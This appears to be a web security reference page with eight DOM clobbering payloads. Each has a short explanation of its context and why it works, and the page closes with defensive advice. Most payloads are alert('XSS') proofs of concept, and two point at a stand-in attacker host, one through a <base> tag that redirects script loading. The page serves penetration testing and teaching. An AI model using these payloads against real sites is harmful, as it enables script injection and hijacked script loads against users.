Skip to content

DOM Clobbering Payloads

8 payloadsFor authorized testing only

DOM clobbering is a markup-only technique: by injecting elements with specific id or name attributes, you overwrite global variables and object properties that application code reads (for example window.defaultView, a config object, or form.action). It needs no JavaScript execution, which makes it a key tool when HTML injection is allowed but <script> and event handlers are stripped.

It is frequently chained with other bugs — clobbering a sanitizer's configuration flag, a CSP nonce lookup, or a URL the app later navigates to. The payloads below target common clobberable patterns.

Anchor id+name clobbering chain

HTML bodyseverity: medium
<a id=defaultView><a id=defaultView name=opener href=//XSS.attacker.com>
Context
App reads a global it assumes code set (e.g. window.defaultView).
What it needs
HTML injection allowed but script execution blocked.
Why it works
Two named anchors clobber the property into an attacker-controlled value.

Form action clobbering

HTML bodyseverity: medium
<form id=x><input id=action value="javascript:alert('XSS')" name=action></form>
Context
App reads form.action as a trusted URL.
What it needs
HTML injection into a form.
Why it works
A named input clobbers form.action with a javascript: URL.

img name=csp clobbering

HTML bodyseverity: medium
<img name=csp src=x onerror=alert('XSS')>
Context
App feature-detects via a named global.
What it needs
HTML injection allowed.
Why it works
img name=csp clobbers the lookup; the same element also carries an onerror.

iframe name clobbering

HTML bodyseverity: high
<iframe name=opener srcdoc="<script>parent.alert('XSS')<\/script>">
Context
App trusts window.opener / named frames.
What it needs
iframe with srcdoc allowed.
Why it works
A named iframe clobbers the reference and its srcdoc runs script against the parent.

Anchor href chain clobbering

HTML bodyseverity: medium
<a id=x><a id=x name=y href="javascript:alert('XSS')">
Context
App reads x.href expecting a safe string.
What it needs
HTML injection allowed.
Why it works
Chained named anchors clobber the property to a javascript: URL.

object id=csp clobbering

HTML bodyseverity: medium
<object id=csp name=csp data="javascript:alert('XSS')">
Context
App feature-detects via a named global (csp).
What it needs
<object> allowed.
Why it works
object id/name=csp clobbers the lookup and carries a javascript: data URL.

input formAction clobbering

HTML bodyseverity: medium
<form><input name=formAction value="javascript:alert('XSS')"><button>go</button></form>
Context
App reads form.formAction as trusted.
What it needs
HTML injection into a form.
Why it works
A named input clobbers formAction with a javascript: URL.

base href hijacking via clobbering

HTML bodyseverity: high
<base id=x href="//XSS.attacker.com/"><script src=a.js></script>
Context
App loads a relative script it assumes is same-origin.
What it needs
No base-uri CSP; a relative <script src> loaded afterwards.
Why it works
A clobbered <base> redirects the relative script to an attacker host.

Defense

  • Never trust globals or object properties that could be shadowed by named DOM elements; use explicit declarations and local variables.
  • Check that config values are the expected type (typeof === 'object') before use, since clobbered values are HTMLElement/HTMLCollection.
  • Sanitize id and name attributes out of untrusted HTML, or namespace your HTML ids.
  • Set a base-uri CSP directive to stop <base> clobbering.

Keep testing